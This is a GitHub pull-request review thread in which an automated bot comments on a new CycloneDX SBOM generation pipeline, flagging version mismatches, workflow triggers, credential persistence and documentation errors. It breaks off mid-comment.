need to manually manage team assignments for child projects or adjust your workflow to accommodate this behavior [7]. - Configuration: Ensure that authentication and authorization are enabled in your Dependency-Track instance. Disabling these (ALPINE_ENFORCE_AUTHENTICATION=false or ALPINE_ENFORCE_AUTHORIZATION=false) is not supported and can interfere with expected permission handling [8]. API Usage: The autoCreate=true parameter is used with the POST /api/v1/bom (and PUT in some versions) endpoint [9][10]. You must provide the projectName and projectVersion in your request for the auto-creation to succeed [9][11].
Citations:
- 1: https://docs.dependencytrack.org/administration/users-and-permissions/
- 2: DependencyTrack/dependency-track@3562f9d
- 3: Not allowed to upload sbom to project I create. DependencyTrack/dependency-track#1435
- 4: Project (auto)create: Add Team to ACL for ApiKey principals DependencyTrack/dependency-track#1529
- 5: https://dependencytrack.github.io/docs/next/concepts/access-control/
- 6: Not able to upload SBOM with REST API if ACCESS_MANAGEMENT permission is not set DependencyTrack/dependency-track#4341
- 7: When using API for bom upload, autoCreate ignores Team of parent DependencyTrack/dependency-track#4372
- 8: Can not PUT bom with autoCreate:true DependencyTrack/dependency-track#2166
- 9: https://docs.dependencytrack.org/usage/cicd/
- 10: Allow specifying parent project for autocreated projects (bom upload) DependencyTrack/dependency-track#2545
- 11: https://github.com/DependencyTrack/dependency-track/blob/8713219a/docs/_docs/usage/cicd.md
Document the autoCreate permission requirement.
This POST /api/v1/bom call uses autoCreate=true, so pair the documented X-Api-Key requirement with PROJECT_CREATION_UPLOAD permission instead of listing only upload access.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@security/SBOM.md` at line 147, Update the documented permissions for the POST
/api/v1/bom example using autoCreate=true to include PROJECT_CREATION_UPLOAD
alongside the existing upload permission, and keep the X-Api-Key requirement
documented.
Implements the SBOM pipeline (ritik4ever#1531) by adding CycloneDX 1.6 JSON generation for every tracked package (contracts, backend, frontend), wired into CI and exposed via npm scripts for local use. Adds: - scripts/sbom/install-tools.sh — idempotent installer for cargo-cyclonedx. - scripts/sbom/generate-contracts-sbom.sh — cargo-cyclonedx for the wasm32 contracts crate. - scripts/sbom/generate-backend-sbom.sh — @cyclonedx/cyclonedx-npm for the Node backend. - scripts/sbom/generate-frontend-sbom.sh — @cyclonedx/cyclonedx-npm for the Node frontend. - scripts/sbom/generate-all.sh — drives all three per-ecosystem generators. - .github/workflows/sbom.yml — dedicated SBOM Generation workflow on PR + push to main + release: published + workflow_dispatch; uploads sbom-{contracts,backend,frontend} workflow artifacts. - security/SBOM.md — consumer guide covering Dependency-Track, Grype, Snyk, syft/bom-cli ingestion recipes. - security/sbom/.gitkeep — dir marker; /security/sbom/* is gitignored via the standard re-include pattern. Modifies: - .github/workflows/build.yml — embeds frontend + backend SBOMs into the existing build bundle (paths fixed: single .. from frontend/backend working-directory). - contracts/Makefile — adds `sbom` and `install-sbom-tools` targets. - package.json — top-level scripts: sbom, sbom:contracts, sbom:backend, sbom:frontend, sbom:install. - backend/package.json + frontend/package.json — adds @cyclonedx/cyclonedx-npm devDep + sbom script. - scripts/README.md, docs/OPERATIONS.md, docs/RELEASE_CHECKLIST.md, CHANGELOG.md — refreshed to reference the new pipeline and SBOM.md. Closes ritik4ever#1531.
396c967 to
0e823ec
Compare
There was a problem hiding this comment.
Actionable comments posted: 12
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/sbom.yml:
- Around line 72-79: Update the SBOM generation steps in the workflow to produce
CycloneDX 1.6 JSON, validate every generated artifact’s specVersion before the
upload step, and align the corresponding CHANGELOG.md and security/SBOM.md
documentation with 1.6.
- Around line 9-11: Update the release-triggered SBOM flow around the
release-please action so SBOM generation remains reachable after a release is
created: either configure a release-please token with permission to trigger
downstream workflows, or invoke the SBOM workflow from the release-please
workflow using steps.release.outputs.release_created and tag_name via manual
dispatch. Preserve the existing published-release behavior and use the
established release outputs.
- Line 26: Update the actions/checkout@v4 step in the SBOM workflow to set
persist-credentials to false, ensuring the checkout token is not retained in the
repository’s Git configuration.
In `@scripts/README.md`:
- Line 124: Align the SBOM implementation with the required CycloneDX version by
updating the generators invoked by generate-all.sh, the validation in sbom.yml,
and the documented version in scripts/README.md consistently from 1.5 to 1.6; if
1.5 is intentionally retained, instead revise the stated objective to match it.
- Line 124: Update the SBOM workflow description in scripts/README.md to include
manual dispatch alongside pull requests, pushes to main, and releases,
explicitly preserving that it generates and uploads all three SBOM artifacts.
In `@scripts/sbom/generate-contracts-sbom.sh`:
- Around line 21-26: The SBOM pipeline inconsistently targets CycloneDX 1.5
while project metadata declares 1.6. Update SPEC_VERSION and the related
symbols/configuration in generate-contracts-sbom.sh, install-tools.sh, local
scripts, documentation, workflow metadata, and pinned tooling to consistently
use a CycloneDX 1.6-compatible toolchain; preserve matching output and version
references throughout.
- Around line 42-48: Update the cargo cyclonedx invocation and subsequent mv in
the contract SBOM generation flow so they reference the same output filename:
either change --override-filename to contracts.cdx to preserve
contracts.cdx.json, or move contracts.json instead. Ensure the resulting
artifact is still written to OUT_FILE.
In `@scripts/sbom/install-tools.sh`:
- Around line 9-11: Update the usage example for CARGO_CYCLONEDX_VERSION in
install-tools.sh to use the package-qualified value cargo-cyclonedx@0.5.9,
matching how the variable is passed to cargo install; leave the existing
installation behavior unchanged.
In `@security/SBOM.md`:
- Around line 185-198: Update the jq validation command in the “Standalone
validation” section to parenthesize the .components filter before applying
length, preserving the separate .bomFormat and .specVersion outputs and making
length apply only to the components array.
- Around line 214-219: Correct the relative Markdown links in the reference list
of SBOM.md: change the workflow and scripts links to use
repository-root-relative paths with one fewer parent traversal, and add the
missing docs/ directory to the CONTRIBUTING.md, OPERATIONS.md, and
RELEASE_CHECKLIST.md links while preserving their destinations.
- Around line 163-171: Update the Snyk commands in the Snyk section to use `snyk
sbom test --file=...` for both CycloneDX JSON files instead of `snyk sbom
--file=...`. Remove or revise the statement claiming Snyk does not evaluate Rust
CycloneDX SBOMs, while preserving the existing cargo audit guidance if still
applicable.
- Around line 173-182: Update the “bom-cli / Syft round-trip” documentation to
use the CycloneDX CLI’s documented validate command for structural validation of
security/sbom/backend.cdx.json, and its convert command for generating the SPDX
output. Replace the incorrect syft attest and bom convert examples while
preserving the existing input and output files.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 04b4e103-0f1d-4314-889d-58783f39112f
⛔ Files ignored due to path filters (3)
backend/package-lock.jsonis excluded by!**/package-lock.jsonfrontend/package-lock.jsonis excluded by!**/package-lock.jsonpackage-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (19)
.github/workflows/build.yml.github/workflows/sbom.yml.gitignoreCHANGELOG.mdbackend/package.jsoncontracts/Cargo.tomlcontracts/Makefiledocs/OPERATIONS.mddocs/RELEASE_CHECKLIST.mdfrontend/package.jsonpackage.jsonscripts/README.mdscripts/sbom/generate-all.shscripts/sbom/generate-backend-sbom.shscripts/sbom/generate-contracts-sbom.shscripts/sbom/generate-frontend-sbom.shscripts/sbom/install-tools.shsecurity/SBOM.mdsecurity/sbom/.gitkeep
🚧 Files skipped from review as they are similar to previous changes (6)
- security/sbom/.gitkeep
- .github/workflows/build.yml
- scripts/sbom/generate-all.sh
- package.json
- .gitignore
- docs/OPERATIONS.md
| # Re-run SBOM generation when a new release tag is cut by release-please. | ||
| release: | ||
| types: [published] |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
fd -t f -e yml -e yaml .github/workflows \
-x rg -n -C 6 'release-please|token:|GITHUB_TOKEN|PAT|app'Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 551
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
echo "== workflow files =="
fd . .github/workflows -t f -e yml -e yaml || true
echo
echo "== release-please/token/event references =="
rg -n -C 5 'release-please|GITHUB_TOKEN|token:|token=|app-id|installation-id|release:|pull_request_review' .github/workflows || true
echo
echo "== all release-ish configs =="
rg -n -C 4 'release-please|release-please-action|release:\s*published|tag-output|pull-request' -S . --glob '!node_modules/**' --glob '!dist/**' --glob '!build/**' || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 15246
🌐 Web query:
Googleapis release-please-action v4 token GitHub Release created downstream release events workflows GITHUB_TOKEN
💡 Result:
When using googleapis/release-please-action v4, the default GITHUB_TOKEN will not trigger downstream GitHub Actions workflows (such as those triggered by release.published or push events). This is a standard GitHub Actions security feature designed to prevent recursive workflow loops [1][2][3][4]. To enable downstream workflow triggering, you have two primary options: 1. Use a Personal Access Token (PAT): You can provide a PAT with the necessary permissions (e.g., repo, workflow) to the token input of the action [1][5]. Since the event is then perceived by GitHub as being generated by a user rather than a GITHUB_TOKEN, it will trigger subsequent workflows as expected [6][5]. 2. Explicitly trigger downstream workflows: You can use the outputs provided by the release-please-action (such as release_created and tag_name) to manually dispatch subsequent workflows within the same action run [7][8][3]. This approach avoids the need for a PAT and is often implemented using the GitHub CLI or GitHub API via actions/github-script [7][8][3]. Example using explicit dispatch: - uses: googleapis/release-please-action@v4 id: release with: token: ${{ secrets.GITHUB_TOKEN }} - name: Trigger downstream workflow if: ${{ steps.release.outputs.release_created == 'true' }} run: | gh workflow run publish.yml --ref "${{ steps.release.outputs.tag_name }}" env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} Note that when using explicit dispatch, you must ensure your GITHUB_TOKEN has the required permissions (e.g., actions: write) to trigger other workflows [7][3]. Additionally, verify that you are referencing output variables correctly (e.g., using == 'true' for boolean outputs in v4) [9].
Citations:
- 1: https://github.com/googleapis/release-please-action
- 2: https://github.com/marketplace/actions/release-please-action
- 3: https://github.com/GeiserX/tailscaled-rs/blob/main/.github/workflows/release-please.yml
- 4: Release tagging does not trigger other GitHub action workflows googleapis/release-please#1142
- 5: https://github.com/Thiendekaco/agentcohort/blob/a3e84c8fb70fcc008061e8b78fe7129cb0c088d9/.github/workflows/release-please.yml
- 6: https://github.com/edycutjong/treble/blob/main/.github/workflows/release-please.yml
- 7: Triggering subsequent github actions without a PAT googleapis/release-please-action#1000
- 8: https://github.com/theexperiencecompany/gaia/blob/4d1d5dfb/.github/workflows/release-please.yml
- 9:
outputs.releases_createdhas different behavior compared to v3 googleapis/release-please-action#912
Make the release SBOM run reachable after release creation.
.github/workflows/release-please.yml uses googleapis/release-please-action@v4 without a token, so it defaults to GITHUB_TOKEN and the subsequent release: published event will not start .github/workflows/sbom.yml. Add a token/input capability that can trigger downstream workflows, or generate the release SBOM from the release-please workflow using steps.release.outputs.release_created / tag_name by manual dispatch.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/sbom.yml around lines 9 - 11, Update the release-triggered
SBOM flow around the release-please action so SBOM generation remains reachable
after a release is created: either configure a release-please token with
permission to trigger downstream workflows, or invoke the SBOM workflow from the
release-please workflow using steps.release.outputs.release_created and tag_name
via manual dispatch. Preserve the existing published-release behavior and use
the established release outputs.
| CARGO_TERM_COLOR: never | ||
|
|
||
| steps: | ||
| - uses: actions/checkout@v4 |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== workflow excerpt =="
sed -n '1,120p' .github/workflows/sbom.yml 2>/dev/null || true
echo
echo "== git references to credentials in workflow =="
rg -n "persist-credentials|git (push|fetch|clone|remote-add|remote set-url)|credential|GITHUB_TOKEN|GH_TOKEN|GIT_ASKPASS|SSH_AUTH_SOCK" .github/workflows/sbom.yml || true
echo
echo "== checkout usage summary =="
python3 - <<'PY'
from pathlib import Path
p=Path('.github/workflows/sbom.yml')
text=p.read_text().splitlines()
for i,line in enumerate(text,1):
if 'uses: actions/checkout' in line:
print(f"{i}: {line.strip()}")
j=i
while j <= len(text) and (line.startswith(' ') or line.strip()=='' or 'uses:' not in text[j-1] or text[j-1].strip().startswith('- uses: actions/checkout')):
line=text[j-1]
if 'uses:' in line and j>i:
break
j+=1
PYRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 4067
Disable persisted checkout credentials.
This workflow runs pull request code and does not need authenticated Git operations. Set persist-credentials: false on the actions/checkout@v4 step so the token is not left in .git/config.
Proposed fix
- uses: actions/checkout@v4
+ with:
+ persist-credentials: false📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - uses: actions/checkout@v4 | |
| - uses: actions/checkout@v4 | |
| with: | |
| persist-credentials: false |
🧰 Tools
🪛 zizmor (1.28.0)
[warning] 26-28: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/sbom.yml at line 26, Update the actions/checkout@v4 step
in the SBOM workflow to set persist-credentials to false, ensuring the checkout
token is not retained in the repository’s Git configuration.
Source: Linters/SAST tools
| - name: Generate contracts SBOM (CycloneDX 1.5 JSON) | ||
| run: bash scripts/sbom/generate-contracts-sbom.sh | ||
|
|
||
| - name: Generate backend SBOM (CycloneDX 1.5 JSON) | ||
| run: bash scripts/sbom/generate-backend-sbom.sh | ||
|
|
||
| - name: Generate frontend SBOM (CycloneDX 1.5 JSON) | ||
| run: bash scripts/sbom/generate-frontend-sbom.sh |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
rg -n 'CYCLONEDX_SPEC_VERSION|specVersion|CycloneDX 1\.[56]|1\.[56]' \
scripts/sbom .github/workflows/sbom.yml security/SBOM.md CHANGELOG.md
for file in contracts.cdx.json backend.cdx.json frontend.cdx.json; do
test "$(node -p "require('./security/sbom/$file').specVersion")" = "1.6"
doneRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 4870
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== changed files =="
git diff --name-only -- 'security/SBOM.md' 'CHANGELOG.md' '.github/workflows/sbom.yml' 'scripts/sbom/*'
echo
echo "== workflow around runs =="
sed -n '1,120p' .github/workflows/sbom.yml
echo
echo "== SBOM docs top and version sections =="
sed -n '1,130p' security/SBOM.md
sed -n '170,210p' security/SBOM.md
echo
echo "== changelog relevant lines =="
sed -n '100,125p' CHANGELOG.md
echo
echo "== generator scripts relevant lines =="
for f in scripts/sbom/generate-contracts-sbom.sh scripts/sbom/generate-backend-sbom.sh scripts/sbom/generate-frontend-sbom.sh scripts/sbom/generate-all.sh scripts/sbom/install-tools.sh; do
echo "--- $f"
wc -l "$f"
sed -n '1,80p' "$f"
done
echo
echo "== tracked SBOM files and specVersion =="
git ls-files security/sbom
for file in contracts.cdx.json backend.cdx.json frontend.cdx.json; do
if [ -f "security/sbom/$file" ]; then
node -e "const fs=require('fs'); const f='security/sbom/${file}'; const j=JSON.parse(fs.readFileSync(f,'utf8')); console.log(f+' specVersion='+j.specVersion+' bomFormat='+j.bomFormat)"
else
echo "missing security/sbom/$file"
fi
done
echo
echo "== SBOM version references =="
rg -n 'CycloneDX 1\.[56]|1\.[56]|CYCLONEDX_SPEC_VERSION|specVersion|npm run sbom|sbom:contracts|sbom:backend|sbom:frontend|make sbom|Generate contracts SBOM|Generate backend SBOM|Generate frontend SBOM|SBOMs|SBOM' \
.github/workflows/sbom.yml security/SBOM.md CHANGELOG.md scripts/sbom security 2>/dev/null | head -200Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 36132
Ensure generated SBOM artifacts match CycloneDX 1.6 before upload.
CHANGELOG.md advertises CycloneDX 1.6 JSON artifacts, but the workflow generates 1.5 and security/SBOM.md documents 1.5. Generate the artifacts with CycloneDX 1.6 and validate each file's specVersion before upload, then align the CHANGELOG.md and security/SBOM.md consumer documentation.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/sbom.yml around lines 72 - 79, Update the SBOM generation
steps in the workflow to produce CycloneDX 1.6 JSON, validate every generated
artifact’s specVersion before the upload step, and align the corresponding
CHANGELOG.md and security/SBOM.md documentation with 1.6.
|
|
||
| ## SBOM generation (`scripts/sbom/`) | ||
|
|
||
| The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` on every PR + push to `main` + release. |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
rg -n 'CycloneDX|cyclonedx|specVersion|1\.5|1\.6|sbom-(contracts|backend|frontend)' \
scripts/sbom .github/workflows security scripts/README.mdRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 9834
Resolve the CycloneDX version requirement before merge.
The documented and configured SBOM path uses CycloneDX 1.5, while the PR objective requires CycloneDX 1.6. If 1.6 is required, update the generators, workflow validation, and documentation together. If 1.5 is intentional, fix the objective mismatch before merge.
🧰 Tools
🪛 LanguageTool
[uncategorized] ~124-~124: The official name of this software platform is spelled with a capital “H”.
Context: ....json. The same files are generated by .github/workflows/sbom.yml` and uploaded as wor...
(GITHUB)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/README.md` at line 124, Align the SBOM implementation with the
required CycloneDX version by updating the generators invoked by
generate-all.sh, the validation in sbom.yml, and the documented version in
scripts/README.md consistently from 1.5 to 1.6; if 1.5 is intentionally
retained, instead revise the stated objective to match it.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Document the manual dispatch path.
The PR objective includes manual dispatch, but this sentence lists only pull requests, pushes to main, and releases. Add manual dispatch so operators know that a manual run also generates and uploads all three SBOMs.
Proposed wording
-... on every PR + push to `main` + release.
+... for pull requests, pushes to `main`, published releases, and manual dispatch.📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` on every PR + push to `main` + release. | |
| The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` for pull requests, pushes to `main`, published releases, and manual dispatch. |
🧰 Tools
🪛 LanguageTool
[uncategorized] ~124-~124: The official name of this software platform is spelled with a capital “H”.
Context: ....json. The same files are generated by .github/workflows/sbom.yml` and uploaded as wor...
(GITHUB)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/README.md` at line 124, Update the SBOM workflow description in
scripts/README.md to include manual dispatch alongside pull requests, pushes to
main, and releases, explicitly preserving that it generates and uploads all
three SBOM artifacts.
| SPEC_VERSION="${CYCLONEDX_SPEC_VERSION:-1.5}" | ||
|
|
||
| if ! command -v cargo >/dev/null 2>&1; then | ||
| echo "[sbom] ::error:: cargo is not on PATH." >&2 | ||
| exit 1 | ||
| fi |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Files matching generate-contracts-sbom.sh:"
fd -a 'generate-contracts-sbom\.sh$' . || true
echo
echo "Relevant files:"
for f in $(fd -a 'generate-contracts-sbom\.sh$' .); do
echo "--- $f"
wc -l "$f"
sed -n '1,120p' "$f"
done
echo
echo "Search for SBOM/version mentions:"
rg -n "CycloneDX|cyclonedx|sbom|contracts\.cdx|0\.5\.9|SPEC_VERSION|CYCLONEDX_SPEC_VERSION|--schema-version|1\.5|1\.6" -S . --glob '!node_modules' --glob '!dist' --glob '!build' || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 50395
🌐 Web query:
CycloneDX cargo-cyclonedx 0.5.9 README support through 1.5 spec-version
💡 Result:
The cargo-cyclonedx version 0.5.9 README explicitly supports the CycloneDX specification version 1.5 [1][2][3]. The command-line help documentation and usage instructions within the tool confirm that the --spec-version option accepts 1.3, 1.4, or 1.5, with 1.3 serving as the default [1][2][3].
Citations:
- 1: https://github.com/CycloneDX/cyclonedx-rust-cargo/blob/main/cargo-cyclonedx/README.md
- 2: https://crates.io/crates/cargo-cyclonedx/0.5.9
- 3: https://docs.rs/crate/cargo-cyclonedx/latest
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "Inspect relevant docs/workflows and exact spec references:"
sed -n '1,170p' README.md
echo
sed -n '110,122p' CHANGELOG.md
echo
sed -n '1,180p' scripts/README.md
echo
sed -n '1,60p' .github/workflows/sbom.ymlRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 16414
🌐 Web query:
CycloneDX spec version 1.6 release date JSON schema
💡 Result:
The CycloneDX specification version 1.6 was released on April 9, 2024 [1][2][3][4]. The official JSON schema for version 1.6 is available in the CycloneDX specification repository [5][6]. It can be accessed directly at the following URL: https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json [5][6].
Citations:
- 1: https://github.com/CycloneDX/specification/releases/tag/1.6
- 2: https://cyclonedx.org/news/cyclonedx-v1.6-released/
- 3: https://owasp.org/blog/2024/04/09/CycloneDX-v1.6-Released.html
- 4: https://github.com/cyclonedx/specification
- 5: https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json
- 6: https://github.com/CycloneDX/specification/tree/master/schema
🌐 Web query:
CycloneDX npm 1.x spec-version 1.6 @cyclonedx/cyclonedx-npm support versions
💡 Result:
The @cyclonedx/cyclonedx-npm package provides support for CycloneDX specification version 1.6 [1][2]. Support for the 1.6 specification was initially added in version 1.17.0 of the tool [3]. As of recent releases, the --spec-version command-line option explicitly supports the value "1.6" [1][3]. Furthermore, in version 2.0.0 and later, the default value for the --spec-version option was updated to 1.6 [4][3]. You can verify the available specification versions in your local environment by running the tool with the help flag [1][5]: cyclonedx-npm --help This will display the supported versions for the --spec-version option, which typically includes "1.2", "1.3", "1.4", "1.5", and "1.6" [1][6].
Citations:
- 1: https://registry.npmjs.org/%40cyclonedx%2Fcyclonedx-npm
- 2: https://github.com/CycloneDX/cyclonedx-node-npm
- 3: https://raw.githubusercontent.com/CycloneDX/cyclonedx-node-npm/1ddde09caa42918d1a17c3d17b164a9c52aa35e8/HISTORY.md
- 4: feat!: CLI option
spec-versiondefaults to1.6CycloneDX/cyclonedx-node-npm#1258 - 5: https://www.npmjs.com/package/@cyclonedx/cyclonedx-npm
- 6: https://github.com/CycloneDX/cyclonedx-node-npm/blob/main/README.md
Resolve the CycloneDX 1.5/1.6 mismatch.
CHANGELOG.md and the workflow title state CycloneDX 1.6, but scripts/sbom/generate-contracts-sbom.sh, local scripts, docs, and pinned tools still produce CycloneDX 1.5. Either update to a CycloneDX 1.6-compatible toolchain across the SBOM pipeline, or change the 1.6 references to 1.5 with an explicit rationale. (CHANGELOG.md, scripts/sbom/install-tools.sh)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/sbom/generate-contracts-sbom.sh` around lines 21 - 26, The SBOM
pipeline inconsistently targets CycloneDX 1.5 while project metadata declares
1.6. Update SPEC_VERSION and the related symbols/configuration in
generate-contracts-sbom.sh, install-tools.sh, local scripts, documentation,
workflow metadata, and pinned tooling to consistently use a CycloneDX
1.6-compatible toolchain; preserve matching output and version references
throughout.
| # Usage: | ||
| # scripts/sbom/install-tools.sh # install cargo-cyclonedx only | ||
| # CARGO_CYCLONEDX_VERSION=0.5.9 ./... # override the pinned version |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "## locate install-tools.sh"
fd -a 'install-tools\.sh$' . || true
echo "## file snippet and context"
if [ -f scripts/sbom/install-tools.sh ]; then
cat -n scripts/sbom/install-tools.sh | sed -n '1,80p'
fi
echo "## search CARGO_CYCLONEDX_VERSION usages"
rg -n "CARGO_CYCLONEDX_VERSION|cargo install|cargo-cyclonedx" -S . --glob '!vendor/**' --glob '!target/**' | head -200Repository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 169
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Behavioral probe: simulate the documented vs used value in the exact command shape
# used by the script, and compare command outputs without installing anything.
python3 - <<'PY'
def current_cmd_override(value):
return f"cargo install {' '.join(['--root'] + value.split(' '))} --no-track cargo-cyclonedx@"+value if "" else None
def suggested_cmd_override(value):
return f"cargo install {' '.join(['--root'] + value.split(' '))} --no-track "+value
for value in ["0.5.9", "cargo-cyclonedx@0.5.9", "cargo-cyclonedx 0.5.9"]:
print("VALUE=", value)
# Current implementation uses the value to substitute crate name, not to provide just version
print("SCRIPT_CURRENT_CARGO_ARG=", "cargo-cyclonedx@"+value)
print("SCRIPT_INTENDED_ARG=", value)
PY
echo "## Cargo help if cargo is available"
if command -v cargo >/dev/null 2>&1; then
cargo install --help | sed -n '1,120p' | grep -n "crate\[.*version\]\|version|--version" || true
else
echo "cargo not available in sandbox"
fiRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 169
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "## locate install-tools.sh"
fd 'install-tools\.sh$' . || true
echo "## inspect install-tools.sh lines 1-80"
[ -f scripts/sbom/install-tools.sh ] && sed -n '1,80p' scripts/sbom/install-tools.sh | nl -ba
echo "## search related variables"
rg -n "CARGO_CYCLONEDX_VERSION|cargo-cyclonedx|cargo install|rust-only" -S . || trueRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 169
🏁 Script executed:
#!/bin/bash
set -euo failonerror
echo "pwd=$(pwd)"
echo "top-level files:"
git ls-files | sed -n '1,120p'
echo "find script files:"
git ls-files '*install-tools.sh' '*install*' 2>/dev/null | sed -n '1,200p'
echo "inspect target file:"
if [ -f scripts/sbom/install-tools.sh ]; then
awk '{printf "%6d: %s\n", NR, $0}' scripts/sbom/install-tools.sh | sed -n '1,90p'
fiRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 229
🏁 Script executed:
#!/bin/bash
set -e
echo "pwd=$(pwd)"
echo "top-level files:"
git ls-files | sed -n '1,120p'
echo
echo "target file:"
if [ -f scripts/sbom/install-tools.sh ]; then
awk '{printf "%6d: %s\n", NR, $0}' scripts/sbom/install-tools.sh | sed -n '1,90p'
else
echo "scripts/sbom/install-tools.sh not found"
fi
echo
echo "related usages:"
rg -n "CARGO_CYCLONEDX_VERSION|cargo-cyclonedx|cargo install|rust-only" -S . || true
echo
echo "cargo availability/help:"
if command -v cargo >/dev/null 2>&1; then
cargo --version
cargo install --help | sed -n '1,100p' | grep -nE "crate|version|--version" || true
else
echo "cargo not available"
fiRepository: ritik4ever/stellar-portfolio-rebalancer
Length of output: 169
🌐 Web query:
cargo install docs crate@version positional crate specification
💡 Result:
When using the cargo install command, the syntax for specifying a crate and an optional version is: cargo install crate[@version] In this positional specification, crate refers to the name of the package on the registry (defaulting to crates.io), and the optional @version allows you to specify a version requirement [1][2]. Key details regarding this syntax: 1. Positionality: The crate argument is provided as a positional argument after any command-line options [1][3]. 2. Version Specification: While the crate[@version] syntax is supported, it is common to also use the --version (or --vers) flag to specify the version [1][2]. 3. Version Format: If you provide a version without a requirement operator (like ^ or ~), Cargo treats it as an exact match to that MAJOR.MINOR.PATCH version [1][2]. If you include requirement operators, it functions as a standard version requirement [1][3]. 4. Contextual Usage: If you are installing from a source other than crates.io, such as a git repository or a local path, the positional crate argument is still used to specify which crate to install if the source contains more than one package [1][2]. Note that this syntax specifically refers to the positional argument structure for cargo install and is distinct from general Package ID Specifications used elsewhere in Cargo for referencing packages within a dependency graph [4].
Citations:
- 1: https://doc.rust-lang.org/cargo/commands/cargo-install.html
- 2: https://github.com/rust-lang/cargo/blob/master/doc/man/generated_txt/cargo-install.txt
- 3: https://manpages.debian.org/unstable/cargo/cargo-install.1.en.html
